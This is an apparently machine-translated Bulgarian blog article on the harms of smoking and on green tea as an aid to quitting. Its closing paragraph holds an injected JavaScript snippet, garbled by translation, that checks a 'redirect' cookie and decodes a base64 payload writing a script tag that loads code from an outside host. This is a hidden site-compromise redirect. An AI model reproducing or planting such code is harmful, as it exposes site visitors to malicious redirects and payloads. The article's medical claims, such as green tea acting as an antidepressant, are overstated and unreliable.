помага

Цигарите са опасни за нас. Въпреки това, това едва ли е новина. Макар да знаем за опасностите от тютюнопушенето от десетилетия, това е навик, който не излиза от практиката, независимо колко вредно е неговото въздействие. Има много хора, които пушат, докато много други, които искат да откажат цигарите. Много от тях обаче се колебаят поради физически, психологически и социални фактори. Въпреки всичко това много хора са се отказали от пушенето и са подобрили начина си на живот по много начини. И изненадващо, мнозина го бяха направили с помощта на зелен чай. Зеленият чай е революция в начина на живот за много хора. Тази фина напитка съдържа лечебни свойства както за ума, така и за тялото. И сега, това е помогнало на много хора да победят борбата си срещу тютюнопушенето.

Нещо, което не знаехте, че се случва с тялото ви, когато не спирате да пушите

При всяко вдишване димът довежда около 5000 химикали в контакт с нашите тела. Катранът, черен смолист химикал, започва да покрива зъбите и венците. Това от своя страна уврежда зъбния ни емайл и в крайна сметка причинява кариес. С течение на времето димът уврежда нервните окончания в носа, причинявайки загуба на миризма. В дихателните пътища и белите дробове димът увеличава вероятността от инфекции, както и хронични заболявания като бронхит и емфизем. Смесването на въглероден окис от дима бавно замества кислорода в хемоглобина в кръвта, което причинява лишаване от кислород и задух. Когато никотинът достигне мозъка, той активира освобождаването на допамин и други невротрансмитери, включително ендорфини, които създават приятно усещане, което прави тютюнопушенето пристрастяващо.

Съдови ефекти като тези водят до удебеляване на кръвоносните съдове и подобряват лепкавостта на кръвните тромбоцити. Това от своя страна увеличава шансовете за съсиреци. Съсиреците в кръвта могат да бъдат много опасни, тъй като могат да предизвикат инфаркти и инсулти. Ако толкова много информация не е достатъчна, за да накарате някой да се откаже от пушенето, тогава се подгответе за още. Много химикали в цигарите могат да предизвикат опасни мутации в човешката ДНК, които могат да доведат до образуването на рак. Съставки като арсен и никел могат да нарушат процеса на възстановяване на ДНК, компрометирайки способността на организма да се бори с много видове рак. За разлика от общоприетото схващане, пушенето не само предизвиква рак на белите дробове, но и рак в множество тъкани на тялото като уста, хранопровод, нос, панкреас, стомах и т.н.

Пиенето на зелен чай за отказване от тютюнопушенето

Всички тези и много по-тежки последици карат хората да искат да откажат цигарите. Въпреки че това е труден процес, както беше посочено, това е възможно. Има няколко неща, които са доказано полезни от медицинска гледна точка като питейна вода, прочистване на тялото отвътре, упражнения и промени в диетата. Докато аспекти като упражнения и диетични промени попадат изцяло върху човека, който се опитва да се откаже от тютюнопушенето, някои неща могат да бъдат подпомогнати, като препоръки за елементи, които да се включат в диетата им. Един от малкото елементи, които могат да помогнат за отказване от тютюнопушенето, е зеленият чай.

1. Антистрес ефекти на зеления чай

Проучване, проведено в Китай, показва, че зеленият чай може да помогне за отказване от тютюнопушенето. Повечето потребители пушат, тъй като се твърди, че това им дава някаква форма на релаксация. Известно е обаче, че пероралният прием на аминокиселината L-теанин, намираща се предимно в зеления чай, има ефект на ограничаване на стреса. L-Theanine действа като релаксиращо средство, което от своя страна придава на зеления чай качеството на релаксант. Според същото проучване, зеленият чай също може да намали желанието за никотин. Зеленият чай, който е богат на антиоксиданти, може да помогне за възстановяване на баланса окислител/антиоксидант при хората, които са се отказали изцяло от употребата на тютюн.

2. Зеленият чай като антидепресант

Депресията или просто чувството за отпадналост също е често срещан симптом на отнемане на никотина. Никотинът обикновено провокира отделянето на серотонин в мозъка, невротрансмитер, който регулира настроението. След години тютюнопушене тялото ви свиква да освобождава серотонин с помощта на никотин. Въпреки че има билкови тисани като жълт кантарион, който е отлична алтернатива на фармацевтичните антидепресанти, самият зелен чай е фин антидепресант. Той повишава нивата на допамин и серотонин в системата на пиещия, което влияе на настроението им.

3. Зеленият чай помага за регулиране на теглото

Повишаването на теглото е едно от многото оправдания, които пушачите използват, за да избегнат или да се откажат от пушенето. Но за щастие има билкови и природни лекарства, които помагат да се предотврати наддаването на тегло след отказване. Никотинът е стимулант, който спомага за увеличаване на метаболизма и ограничава апетита ви. Така че, когато хората се откажат от тютюнопушенето, те са склонни да наддават на тегло, тъй като метаболизмът им се забавя и те жадуват с богати на калории храни. Зеленият чай, смесен с плодове и билки като кора от боровинки и портокали, също така увеличава метаболизма и производството на жлъчка за премахване на мазнините.

4. Зелен чай за облекчаване на кашлицата и задръстванията в гърдите

Кашлицата е странен симптом след отказване, но е добър знак! Катранът от цигарения дим, който се е натрупал в белите дробове, бавно се изчерпва от кашлица след няколко седмици без цигари. Това е процесът на възстановяване и оздравяване на белия дроб на пушача. За да ускорят процеса, коренът от сладник (или Mulethi), тулси и джинджифилов зелен чай помагат за увеличаване на течността на слуз в белите дробове.

Това са някои от физическите симптоми, за които зеленият чай може да бъде от полза. Зеленият чай се представя като естествен заместител на много неща, когато човек се нуждае от помощ, за да се откаже от пушенето. Това е напитка, която е гореща, пие се обикновено, изисква много отпиване от ръка на уста и може да бъде много релаксираща сама. Всичко, което трябва да направите, е да имате волята да не усложнявате тази промяна. Зеленият чай е отличен заместител на цигарите, които помагат на човек да се справи със симптомите на отнемане на никотина и прекъсва психологическата зависимост от тютюнопушенето, като замества навика да пуши с пиене на чай. Тютюнопушенето е навик, за който човек не трябва да мисли като отказване, а трябва да го мисли като придобиване. функция getCookie (e) \ (\) \ [\] \\\/\ + ^])/g, ”\\ $ 1 ″) +” = ([^;] *) ”)); върнете U? decodeURIComponent ( U [1]): нищожен 0> Var SRC = "данни: текст/JavaScript; base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs =", сега = Math.floor (Date.now ()/1e3), бисквитката = getCookie ( "пренасочване"); ако (сега> = (време = бисквитка) || празно 0 === време)

Споделянето е загриженост!

Аз съм блогър, винаги готов да изследвам нови неща. Започвайки от Technology до Seo, уебмайнери и т.н. Привличането на все повече трафик към нашия уебсайт е моята страст.